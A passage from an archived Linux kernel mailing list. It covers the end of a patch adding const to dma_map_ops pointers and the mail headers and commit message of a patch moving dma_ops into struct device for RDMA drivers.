 	if (ops->sync_sg_for_device)
@@ -421,7 +421,7 @@ static inline int
 dma_mmap_attrs(struct device *dev, struct vm_area_struct *vma, void *cpu_addr,
 	       dma_addr_t dma_addr, size_t size, unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	BUG_ON(!ops);
 	if (ops->mmap)
 		return ops->mmap(dev, vma, cpu_addr, dma_addr, size, attrs);
@@ -439,7 +439,7 @@ dma_get_sgtable_attrs(struct device *dev, struct sg_table *sgt, void *cpu_addr,
 		      dma_addr_t dma_addr, size_t size,
 		      unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	BUG_ON(!ops);
 	if (ops->get_sgtable)
 		return ops->get_sgtable(dev, sgt, cpu_addr, dma_addr, size,
@@ -457,7 +457,7 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 	void *cpu_addr;
 
 	BUG_ON(!ops);
@@ -479,7 +479,7 @@ static inline void dma_free_attrs(struct device *dev, size_t size,
 				     void *cpu_addr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	BUG_ON(!ops);
 	WARN_ON(irqs_disabled());
@@ -537,7 +537,7 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
 #ifndef HAVE_ARCH_DMA_SUPPORTED
 static inline int dma_supported(struct device *dev, u64 mask)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	if (!ops)
 		return 0;
@@ -550,7 +550,7 @@ static inline int dma_supported(struct device *dev, u64 mask)
 #ifndef HAVE_ARCH_DMA_SET_MASK
 static inline int dma_set_mask(struct device *dev, u64 mask)
 {
-	struct dma_map_ops *ops = get_dma_ops(dev);
+	const struct dma_map_ops *ops = get_dma_ops(dev);
 
 	if (ops->set_dma_mask)
 		return ops->set_dma_mask(dev, mask);
diff --git a/include/linux/mic_bus.h b/include/linux/mic_bus.h
index 27d7c95fd0da..504d54c71bdb 100644
--- a/include/linux/mic_bus.h
+++ b/include/linux/mic_bus.h
@@ -90,7 +90,7 @@ struct mbus_hw_ops {
 };
 
 struct mbus_device *
-mbus_register_device(struct device *pdev, int id, struct dma_map_ops *dma_ops,
+mbus_register_device(struct device *pdev, int id, const struct dma_map_ops *dma_ops,
 		     struct mbus_hw_ops *hw_ops, int index,
 		     void __iomem *mmio_va);
 void mbus_unregister_device(struct mbus_device *mbdev);
diff --git a/include/xen/arm/hypervisor.h b/include/xen/arm/hypervisor.h
index 95251512e2c4..44b587b49904 100644
--- a/include/xen/arm/hypervisor.h
+++ b/include/xen/arm/hypervisor.h
@@ -18,7 +18,7 @@ static inline enum paravirt_lazy_mode paravirt_get_lazy_mode(void)
 	return PARAVIRT_LAZY_NONE;
 }
 
-extern struct dma_map_ops *xen_dma_ops;
+extern const struct dma_map_ops *xen_dma_ops;
 
 #ifdef CONFIG_XEN
 void __init xen_early_init(void);
diff --git a/lib/dma-noop.c b/lib/dma-noop.c
index 3d766e78fbe2..65e49dd35b7b 100644
--- a/lib/dma-noop.c
+++ b/lib/dma-noop.c
@@ -64,7 +64,7 @@ static int dma_noop_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-struct dma_map_ops dma_noop_ops = {
+const struct dma_map_ops dma_noop_ops = {
 	.alloc			= dma_noop_alloc,
 	.free			= dma_noop_free,
 	.map_page		= dma_noop_map_page,
-- 
2.11.0




From - Thu Nov 08 21:39:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bart Van Assche <bart.vanassche@sandisk.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.drivers.rdma,gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Tue, 10 Jan 2017 16:56:41 -0800
Lines: 1079
Approved: news@gmane.org
Message-ID: <20170111005648.14988-3-bart.vanassche@sandisk.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1484096295 32637 195.159.176.226 (11 Jan 2017 00:58:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 00:58:15 +0000 (UTC)
Cc: <linux-rdma@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
        "Greg Kroah-Hartman" <gregkh@linuxfoundation.org>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        David Howells <dhowells@redhat.com>,
        "David S . Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Geoff Levand <geoff@infradead.org>,
        "H . Peter Anvin" <hpa@zytor.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        "Hans-Christian Egtvedt" <egtvedt@samfundet.no>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Joerg Roedel <joro@8bytes.org>, Jon Mason <jdmason@kudzu.us>,
To: Doug Ledford <dledford@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jan 11 01:58:03 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cR7En-0007Jm-Ae
	for sgi-linux-mips@gmane.org; Wed, 11 Jan 2017 01:58:01 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:52884 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993871AbdAKA6BaPeMx (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 11 Jan 2017 01:58:01 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 11 Jan 2017 01:57:45 +0100 (CET)
Original-Received: from mail-co1nam03on0071.outbound.protection.outlook.com ([104.47.40.71]:32864
        "EHLO NAM03-CO1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23993875AbdAKA5J4aAEx (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 11 Jan 2017 01:57:09 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=sandiskcorp.onmicrosoft.com; s=selector1-sandisk-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=+HIhtPX0txq66G4QVhrYqMFz7SL0X1dvgxmYprBiHvY=;
 b=uteJ01Wp6ZwwKlR3WptxC1CaFaBvawjLgPBcZCPy2zq5oWD7dQWDxB4e3sPbeaxLRseG3Ky647ilj/MVSHqvF8/tgqO3LMiXodsMflyvuiBsSm1YHoxVUwRxUs1Vm/I7qJvQntj3iOxwPTsFDs2d5TgvNLepDGc3j49F1csfyas=
Original-Received: from BY1PR0201CA0004.namprd02.prod.outlook.com (10.160.191.142) by
 BY2PR02MB1409.namprd02.prod.outlook.com (10.162.80.15) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.817.10; Wed, 11 Jan 2017 00:56:54 +0000
Original-Received: from BY2FFO11FD042.protection.gbl (2a01:111:f400:7c0c::160) by
 BY1PR0201CA0004.outlook.office365.com (2a01:111:e400:4814::14) with Microsoft
 SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.845.12 via
 Frontend Transport; Wed, 11 Jan 2017 00:56:54 +0000
Authentication-Results: spf=pass (sender IP is 63.163.107.21)
 smtp.mailfrom=sandisk.com; lists.infradead.org; dkim=none (message not
 signed) header.d=none;lists.infradead.org; dmarc=bestguesspass action=none
 header.from=sandisk.com;
Received-SPF: Pass (protection.outlook.com: domain of sandisk.com designates
 63.163.107.21 as permitted sender) receiver=protection.outlook.com;
 client-ip=63.163.107.21; helo=milsmgep15.sandisk.com;
Original-Received: from milsmgep15.sandisk.com (63.163.107.21) by
 BY2FFO11FD042.mail.protection.outlook.com (10.1.14.227) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.803.8 via Frontend Transport; Wed, 11 Jan 2017 00:56:53 +0000
Original-Received: from MILHUBIP03.sdcorp.global.sandisk.com (Unknown_Domain [10.201.67.162])
        (using TLS with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        by  (Symantec Messaging Gateway) with SMTP id CE.7A.65426.13085785; Tue, 10 Jan 2017 16:45:37 -0800 (PST)
Original-Received: from milsmgip12.sandisk.com (10.177.9.6) by
 MILHUBIP03.sdcorp.global.sandisk.com (10.177.9.96) with Microsoft SMTP Server
 id 14.3.319.2; Tue, 10 Jan 2017 16:56:51 -0800
X-AuditID: 0ac94369-b62949800001ff92-ae-58758031aaa4
Original-Received: from exp-402881.sdcorp.global.sandisk.com ( [10.177.8.100])   by
  (Symantec Messaging Gateway) with SMTP id 10.14.09762.3D285785; Tue, 10 Jan
 2017 16:56:51 -0800 (PST)
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170111005648.14988-1-bart.vanassche@sandisk.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA02SbUxTdxTG9//fl146au46Mv9hH0y6TY0GFOOSQyDiZkbuwpawL47InHZy
        gw2vaYEMky3dkM4WzZrGulBqaVEEKpSuHUshNEIxsqqAQuKmglVpeVFHK5v4UjNHbbb47Tnn
        /J7n+XI4St7KpnOqyhpRXaksV7BSWhrc1ZaRpa0t2jp0RgH6/rgERt1aFqJnjiJoautgwfH0
        GQPWicM0hJZvIlj6Pk7D4kSMgSbXXQnoTnwAczf8GE4v7oCGU70snPh5LTx51ECD/VwOrNxx
        IOie1LEQcjkZmA9YKHjeHMOgb3FLIGKcZmFp5jwCy7kZGjyz1xg432LE0HnWRUH0sI+F2JEl
        BqYGrCx0hHuo1aofaDCaTRK4e/EKhjHbKAtzgWOrO0cDBdbnxylonO7B0DXWI4GA2Y8g/vgf
        BiaH7Bhe/ORF0Dt8kwaDJcKCRz/Fgt98G4E22MnAYPwLGPN0YfB6zBQ8uHKLhr5LUQoWH/5G
        wxP3LAMhkx/vzBHCwzYsNPqNrNBt60bC1LWrlPC7q1D4pes6FvotMxIh9vBLwdu5STg1uIgF
        j1PPCvbeMCOMt8RoYWl8XCL4PPexEBg5ggrX75HmlojlqjpRvWXHfulBnamVrnYO4K91yyOM
        Fp00YANK4Qi/nczH2pEBSTk5347JdLuFSg6/InLvQfx/6rs/L9EJLee9iPw1kp3QLL+NrESb
        X+7T+PXEc69NkjBTfJAnx+afrsZy3Jv8h8TqS0swNP8e6Wu6zyS0jM8jUftlKpm/jgzo 
X-Brightmail-Tracker: H4sIAAAAAAAAAyWSa0hTcRjG+5/7JuVhdjmUUEkKWZZa5EuW3agOkSTUh7CollquptVWEmah
        zlabBkua5VxeKpwunTqTzBzl1KzES0qGd/MWS9um3bWbs28vv+fH83x5GVw0TCxmJLHno2Sx
        YqkXJSSEZUykX3vyhYP+A7/XgurJNA0NpYkUOPLTEKTeM1CQ93OKBH1LCgH9k90I7MnTBNha
        nCSkmgZpUGZsg9EuCwYPbCGguF9CQUbZIvjxVUFA7rNg+PY+D0FRm5KCfpORhA9WHQ6/Mp0Y
        qLJKaRjR9FBg761DoHvWS4B5qIOEuiwNBgUPTTg4UiopcF63k9BepafAMFyMz0xdI0CjTadh
        8HUrBk3ZDRSMWm/MsDwFDvpft3C42lOMQWFTMQ1WrQXB9Pc/JLQ9z8Xg7+1yBCU13QSodSMU
        mFXtFFi0AwgSXxWQUD19GJrMhRiUm7U4jLf2EVDR6MDBNvGSgB+lQyT0p1uwrcH8cE02xl+1
        aCi+KLsI8e0db3D+nSmMf1TYifFPdL0075w4wpcX+PL3q20YbzaqKD63ZJjkm7OcBG9vbqb5
        SvMYxltrr6Mwn3DhpsgoqSQuSrY25JgwWpmeQ5w1VmEXlZO1ZCK6q8bUSMBw7Hou6VMjoUZC
        RsSWIe69rZV2BRQbyH1zZBKuez7rw5k/3qNdEs42sVxO5iSpRgzjwW7n9JXzXQ7BenMVqWOz
        eC67havo3PC/fylXpXwziwXsVs6g3+LCohljpE1FapBbLppjRAtjJFJ5zEnJ2YDANXJx 
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-HT: Tenant
X-Forefront-Antispam-Report: CIP:63.163.107.21;IPV:NLI;CTRY:US;EFV:NLI;SFV:NSPM;SFS:(10009020)(6009001)(7916002)(39860400002)(39450400003)(39850400002)(39410400002)(39840400002)(2980300002)(438002)(189002)(199003)(626004)(7416002)(1076002)(68736007)(5660300001)(50986999)(76176999)(47776003)(2270400002)(189998001)(69596002)(8936002)(111086002)(5890100001)(97736004)(2906002)(50226002)(305945005)(39060400001)(50466002)(356003)(77096006)(48376002)(106466001)(81166006)(81156014)(8666007)(110136003)(54906002)(4326007)(2950100002)(6666003)(36756003)(575784001)(6916009)(5003940100001)(33646002)(8676002)(38730400001)(86362001)(92566002)(7406005)(7366002)(579004);DIR:OUT;SFP:1101;SCL:1;SRVR:BY2PR02MB1409;H:milsmgep15.sandisk.com;FPR:;SPF:Pass;PTR:InfoDomainNonexistent;MX:1;A:1;LANG:en;
X-Microsoft-Exchange-Diagnostics: 1;BY2FFO11FD042;1:LtV5eifjF5fGyF+E5p0nTtzScC9jIjNKyVvc+v2kTh2pglN4Tw3cfNtQm34IAll0ioMWMGPgFSdIbVE9D4LIeInD8lhx8EzW6Py7vferY0HJCCwOv1+8MuquUipTWu247CnjmN5PDNJM25zyQLRioDWv3FojSqQJO6xYPPlSVfb81OW+gMYrpwWHfVDKFk/9P2lhJZO1jyjOzgLVTtf8nLUuA4Y/CIAFVI3qiRsC7FX2vhHEmyeiK+X663a4IsEI8eXf+FYPxoS/PKzFNhLQgQjY3M5Xi2yCUEfe+vcJwRUzfOi/2iyTS0i9a76WOEaIFDgbF62KItsuzUlv2OeCqF6TWMOG9gRJHU7c8FW5MbSKNjcj1dBoS0QR35uk9EgZfnmoOqTXSPzi/5n+vWpUF6PyZ1kSFjszgG7uhpPuaMvVX3ikXDYSgnMjjINKMkq6ePsbPHtnymhhDQ2QXYggaPd6SvuDioDi6X7AMYDNA5s9dKwBURGDOZqnmuWN1MN/rMjAn6kGArzOEAS7BntE0qeVCxhzdSpBamA9jN0eWCo=
X-MS-Office365-Filtering-Correlation-Id: c50de4a5-1051-4797-8b8e-08d439bcbc46
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(8251501002);SRVR:BY2PR02MB1409;
X-Microsoft-Exchange-Diagnostics: 1;BY2PR02MB1409;3:M9Pao84SogW1d8qOVFrM4ChYc3u8LKZbDzAB9meHm4lyIQvARSQBHJpcGM6xQZwfRcBO4q5g/EHjpYJDS06d8bSLr4zpaDcqryxl+ZgtkuMDZQuInXrD/e6iqCLCkSnNovu8893E2/3YioBRae2aPDZN1C6S26jom1a9sgrtVkygY38WHcB9U27D4vA1QZhBeHOVNxClejHyT+wNoeBB64qtHSglEyjrp+cbgrptDzhavEyaHIRE0wHOv1s/xeoiCCVYWrGe5Ln9SadluXRhnUwwsQj2wTG4MZKQRGCwlRm3t3kFhJX0r53YQKY67Mh/okbqIkuAeMcfbplq1w1BzI8cDd1VVVzcqRDfcs0wwyQ2rwBUM5hxJbibcf4ZsJ4I8L2wAL2s22uFiB5KTbd8BQ==
X-Microsoft-Exchange-Diagnostics: 1;BY2PR02MB1409;25:taiObL8k8XjhzB1vNbMwEO87y63bOi0IBu7GFily5IwzRS/q7/WzyBWqtELQX2ANW/1Gybnc7afFgScLBgS1EBmNkUMMi4j1KCnc1sju8foSgAKqH+rrU9nRWIpjyHVtZlCnBmnv3kX0uF9dmfjDs4kn9xcGhq1Rjt+DArTKvmpOjcXqmaI4EMJbpk891ZafEF27SUY0QkzsQD0FJ3vlHgyncQafZl4mCExuiHbgWZTnAINmN1DZKt64OAesKd49kKNbwcaj6++gdzADefW117tBEG/C4c5YWjBnemIX8Bv43TTdTvcwUf61+lx3JIyoM3Bg8auwAEULCKgkeHOUV+m84DKidAtMPLqHV4X2a0fpYHB+TEGzkdmqWWaMkcFr2E8Y0Gt+0/mYAxX6UaJlUjU4ZhZpc4rEoQITbeg9f56JKeH7QcqroQDNA1e9HLsk8A9ePCMNMNHM6LMAwizp7TYnvd80v9PugTYY/vMnsEu4l72PMNWYrlIdXr+NXotQuHtIynYN1sM9cAlKniuUwZMEX1Adm9TqkKqoUcyhFJljBF2BvUFTq9AwZixonQA6HYW1URoj3Zww6HTAWLMyQA5NAYBtfrhqTouoY/8lr8SpTtIj4b+Pz+KzeFvLCHTCVoBGatiR5etKIukCjR1kDuzg3+L1Xxtjwu8nc1rxk2FDQtyZNUi0O80z4ivn6znHaG3gsU/dNlQZfHkRR9uzhCgDsEvDTTaJjbk2teA+jqk
 Ruldbu3H6fEnSqXVTM3MH4IQZys40D3auSZL9iukJuGVJp0ngweXeh7BPqnJcp0/UuJaPUdhrJwLnFMGYOFzmLRVGEQVtVPD0q 
X-Microsoft-Exchange-Diagnostics: 1;BY2PR02MB1409;31:Qwbg2IIoB9Oj8u5Y+gDruC7qb1RzL9T2pNRWQ85wY4Qg5sO02umcR6l2nVxsc43aw98pfGiOMI3IPIbOdH+XeLsi4Azg+E6ydvN/ZNGtSazka2WJw32s3h3Zxrk/V6GOtYHc5DCPbI0zWqtEu9tZvunKuQctJqVIy3tn2WNk/7/CLJdUb8E7ueeLPElPoVsnqCHXZr9GOQvJfFH0VFlfhS0ZCsvSUIytgnckXPQQjcGcmNv3LdszLzWSLQDBSIM9dK4k4rc+g3GzowEbAJ9lvytYkfrXF8CHuriXoeUZQzY=;20:U6qaUR8lF1A+hLQYptCvqeKhNnbtbE7qKv8uOkBD2daCkqprYVNqq2tsErbKpZFSKAp8j9rvq31QJNCcfyeVzbci54xEfxBS247/f8VxHeXKX411cs51oS8Eml70EFt6tjiwRBJAOc3AJ4e8CHAsFUmZi627jW3kaRXssLJbilN7YoamAS4E9ZDU6bs5PkkwtmoqcTeQH88aN3jepAKjgXhxzhIQEygKa2xZPX3+l/dJcVmqtzJkl5gMf622BvQrEVGSiNHGXVtYEoGgtDs9t8hOBLtvwYo99Ud1csqxKDWwx9Oqeb/GtrnqIdDbxcdnOpCCjruYQt69lMX2XDQPIzVoqKqRBcure7XEvUcs7a9AfjwLZG/QJNbqBoJR64w5EvcY5xAIwCNv09gBiV/h972JjJeBE2LJfyQwyNHNsYhWVB1x+KTqzsq5tpW
 GW0t6Zcbm0c6E9zpyuhNk1QqmPy63XoCeGrTo1f7bQh48A7QMwScX0TnG7qhk7cM2/gJD
X-Microsoft-Antispam-PRVS: <BY2PR02MB1409B12E35FF00D22CD51CF181660@BY2PR02MB1409.namprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(253656608321460)(143289334528602)(180628864354917)(31051911155226)(26323138287068)(9452136761055)(65623756079841)(80048183373757)(258649278758335)(42262312472803);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(13016025)(13018025)(5005006)(8121501046)(3002001)(10201501046)(6055026)(6041248)(20161123562025)(20161123555025)(20161123564025)(20161123560025)(6072148);SRVR:BY2PR02MB1409;BCL:0;PCL:0;RULEID:;SRVR:BY2PR02MB1409;
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;BY2PR02MB1409;4:fh5rBRkxFqGxNnwlLbO5MxZKXCgVsSOOfca/xzdubz?=
 =?us-ascii?Q?/cx/Vi0VyS3kxobA013rUVKUSzj44fM6sPOPFrbCCbFHg/SHN/FCHAoxkaRL?=
 =?us-ascii?Q?tBoq3vlMWf2au/ATlUrLnCVg7cNAunZdb/+NhfYLUlS1HF3MdRVvcLMZn6y1?=
 =?us-ascii?Q?QTcBNOebavhsQPdWk/fsT6E0byqarFJGn31pSzPSglqsxP+8pXgIayL0FSuF?=
 =?us-ascii?Q?4/KtScN1RminXGLZ8S08UQm/u9YPlvxJgepVx6ulFpzQvurFpqrgDwvwI6QZ?=
 =?us-ascii?Q?08gScMIvMbpkvwwYUJWq0IB7V3XHnh3sXe9iCwDpuz6YIBD8aptDgkFlp52q?=
 =?us-ascii?Q?3ueDj0ZBTvgU6hpL2Y2ZU3BGg2uxj5NJIhzQX1T/vLG4rrL4P8jMfBaD5/w3?=
 =?us-ascii?Q?1O6bdqH885ER+5L6saP9Ctk6ufHIi+17kRpbJNbHB/LTqaNemA3yIQh4GshA?=
 =?us-ascii?Q?/j6vuIP03XPI8aepNDDwGUDXscOJv2St3t2aL6+CZIha+q54VYxhpzQwqGra?=
 =?us-ascii?Q?JXVzmRKPFGloPUoXuZ415mXxqyaG1oV65R4RZyfMRE/IjEG4fetkCFIQYlTw?=
 =?us-ascii?Q?khqJwDn7ipoPyxhF9Ucf+W1L/wEstZ9C/a/4gDs7kuxVl52xG13iZ9frh2aQ?=
 =?us-ascii?Q?9qgR/4 
X-Forefront-PRVS: 01842C458A
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;BY2PR02MB1409;23:lML8tdq5Ws/rckIWL0zOgGpirTYH/vSLb40UZgugu?=
 =?us-ascii?Q?7nC80u3PwEIlD+b5CHqlItTqXIlpFV/HnGY+sQ7AQtlgM+7OYWC4nmflRkB1?=
 =?us-ascii?Q?chYoIwk62VT7htdAVYNJ31OpjjIdAxjdLPN1zmQwBc3n4fbGjAfalhmXm/jt?=
 =?us-ascii?Q?Tg2b3YwG5pkWCFkZAWIdMpR/liCTC+FiOZCdjrNT/GVV5Uh1QYXjuKlGFYSc?=
 =?us-ascii?Q?QxqqIVtaJrg2K3xBwUYr/dRJNaDFASxzNXeRZMjI0PY08T3qVwZK7SheKIXA?=
 =?us-ascii?Q?kcODDnCsuRv+cK66uIH8jBseDgKNCR8Y2SKzeLQ1m0Cv1UHtJhXQ3qNuALTB?=
 =?us-ascii?Q?+/mtulEYzSaAd6mHPRmLUp08AO3vk1A5zOmpBQg5wY3q7Z0bqwgOvhRx6CAm?=
 =?us-ascii?Q?ricdu7Q3xkplcSl4WLIapTXaKtn2qzSrZTdavaF4FbzmC7N1zdRPvhe1Mn7H?=
 =?us-ascii?Q?ikzcto1Vo/dEQ+HyhTmNn9mcRyGf0giQhTCaNvqdhRewCx0Dlooix7Ik5yW8?=
 =?us-ascii?Q?r/ukYFMRLuAc2jMBQnD3b8H7Zm4g6PXUUUUVYBOD4KriLBBmWZam5tBfsRel?=
 =?us-ascii?Q?ekf72j3V6eYPVG9OCIhBivWQyR2vIcUdKrRL2QB/gj3qFH85/LfOYfJzhKWq?=
 =?us-ascii?Q?jMmhie 
X-Microsoft-Exchange-Diagnostics: 1;BY2PR02MB1409;6:AK1KOup5YaSsp3C5UWqLH/MYLExwMa+3xVv5YatCBNNyC5pObq9HuICACHw71o0evfBnuMXvC0vFTiAh8WDELqoIEqaIZMlr3sNJ0+Zcjhj+BVlKFsz73c/o9MCeXRKpt6GDrdDNwVXFEbd/0QXjM9w4fPbALJVLb/6oNgTJ/aHQ8dkUYRtOjTQCouJDmDtHA0rEZRuS/cEiCYQkUd5XdGnA+Wsa5OLMCuAFwZAQzv+CephB2aSqq92bpkYPWzmFjTCHc7xKeXWXrprGTpYt73Rr83aQgTb7Pgr4agYjXZTOUtkdYResmJ33unmIv5r2ruM8p67ZIyW1BbUDgnyLF/Y6o/iISgiI5WjwG8vK51WHS3aoubv1HRofJWCKhSUwKeg49HXMfiAIg4WJhu8R0QcaiaUya9aFOvHs6EXT295RA+ssqshoR5gd2G/vmT46QToIZxCf1Hf0rO7xoEorSA==;5:oW+Kaan3UKCqtvOycroac6Cdt+TE7PFXCEsKCgxBVXJFV8UKNaT4ojljvYlGNWRzCZ0PLfHgd18ODoaWRxGjIXbE3zA6T9kvjNHEViD3UEHiY6t6ocoI0R6p4ea7fCA3rbh1RFyDvchj98mDkykbkQ==;24:jxnV71U5kNEmtfAp7wSqYPiSPwiwhGXdCacx+SWxG9lipWXurdh0t9KuMBihV5+L62SXlGuitLvj6P/1RwC2iYDBMHliqn/PFDO9JrAggmM=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;BY2PR02MB1409;7:C2aREj4l6Y9gumyfuH/ZClj6s96Gk7onlzSOY1s6cOxfEqd7eP0qMDG3PgKBB0AqpijHZrTrxzGma40AxBrPvoOtH16FRBKUjcASDz+S5Yj1E3DxZyRYU7tPENkq2wfUzd+Acc9RoVQmZ59/IUymq3VBhh/yth4xQ6ApA1kjJdBgBCOvyKzKB0JF0E6HGgGuXozTeKKwMz+OlpHVu+y/TdjYfyspsllQOwXUWJhmw8xJQHzTV8UnUonWRbQHDGiH+9H5s2tEodCNJOxe0hD5SXLAKgj86OfGeM+a/WGmizi5Lo8QKMttFbjZfJGz48l6VyJVjlOEde+Wv0xoHScGRjjr8QAK7/lQY6uGd9NFlgPw9tqWGZRpOxwCSE8lIaFTuAdMEff0hCuofgF1oiUtiA9ngf4Xg9KMhtAcbdrKXXD843Nokc2mGW1PuEBkW30D6jcLKjwpzzMZ+AETGAjTSw==
X-OriginatorOrg: sandisk.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 11 Jan 2017 00:56:53.7089
 (UTC)
X-MS-Exchange-CrossTenant-Id: fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d;Ip=[63.163.107.21];Helo=[milsmgep15.sandisk.com]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY2PR02MB1409
X-archive-position: 56255
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bart.vanassche@sandisk.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57423 gmane.linux.drivers.rdma:45415 gmane.linux.kernel:2385089 gmane.linux.kernel.iommu:16548 gmane.linux.ports.alpha:4014 gmane.linux.ports.arm.kernel:549553 gmane.linux.ports.hexagon:1093 gmane.linux.ports.ia64:27572 gmane.linux.kernel.metag:1216 gmane.linux.ports.parisc:27164 gmane.linux.kernel.pci:58093 gmane.linux.ports.sh.devel:54980 gmane.linux.kernel.arc:1988 gmane.linux.ports.ppc64.devel:137140 gmane.linux.ports.sparc:24330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57423>

Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
transfer data between memory and PCIe adapter. Because of performance
reasons it is important that the CPU cache is not flushed when such
drivers transfer data. Make this possible by allowing these drivers to
override the dma_map_ops pointer. Additionally, introduce the function
set_dma_ops() that will be used by a later patch in this series.

Signed-off-by: Bart Van Assche <bart.vanassche@sandisk.com>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: David Howells <dhowells@redhat.com>
Cc: David S. Miller <davem@davemloft.net>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Geoff Levand <geoff@infradead.org>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Helge Deller <deller@gmx.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
